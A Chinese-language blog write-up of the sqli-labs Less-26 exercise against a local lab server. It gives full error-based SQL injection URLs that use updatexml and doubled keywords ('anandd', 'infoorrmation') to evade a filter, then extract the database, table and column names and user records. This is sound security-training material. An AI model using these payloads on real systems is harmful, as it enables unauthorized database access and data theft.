SQL注入分析-less-26
近期在学习SQL注入的知识,在此呢,写篇博客记录一下手工注入的过程,中间走的弯路呢就不多提了,主要把自己成功注入的过程和结果在此做一个记录,不喜勿喷哈!
1、按照提示,在地址栏输入参数
http://192.168.88.129/sqli-labs-master/Less-26/?id=1
结果如下,正常回显:
使用单引号看看页面会报什么信息:
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’
从这里判断,这是一个字符型的注入,接下来我们来构造代码来对SQL语句进行闭合。
2、这一关考察的内容是如何绕过空格、*、- -、and、or、/、#等,所以我们在构造代码时要注意绕过以上内容。
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’anandd’1’='1
这里,我们用anandd来吃掉字符串中的and字符,成功闭合查询语句:
闭合以后呢,我们要逐步获取库名、表名、列名和对应字段的数据,这里用SQLMAP跑了一下,没跑出来,或者说没法完整的获取我们需要的数据,所以只能手工去构造代码了。还是这句话,走的弯路就不体现了,这里直接放我注入的过程记录和结果。
3、首先,构造代码来获取库名,我所使用的方法是通过updatexml的方式,通过报错信息来获取库名,这里我在HackBar这个插件上来演示。
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’anandd(updatexml(1,concat(0x7e,database(),0x7e,1),1))anandd’1’='1
成功在报错信息中返回库名security。
4、接下来,构造代码获取表名。
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’))
,0x7e,1),1))anandd’1’='1
成功在报错信息中返回表名,这里我们需要的users这个表中的数据。
5、然后,构造代码获取列名。
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=‘security’)anandd(table_name=‘users’))
,0x7e,1),1))anandd’1’='1
成功在报错信息中返回列名。
6、最后,构造代码获取对应列的数据。
http://192.168.88.129/sqli-labs-master/Less-26/?id=1’anandd(updatexml(1,concat(0x7e,(select(group_concat(id,username))from(security.users))
,0x7e,1),1))anandd’1’='1
这里成功获取到了数据。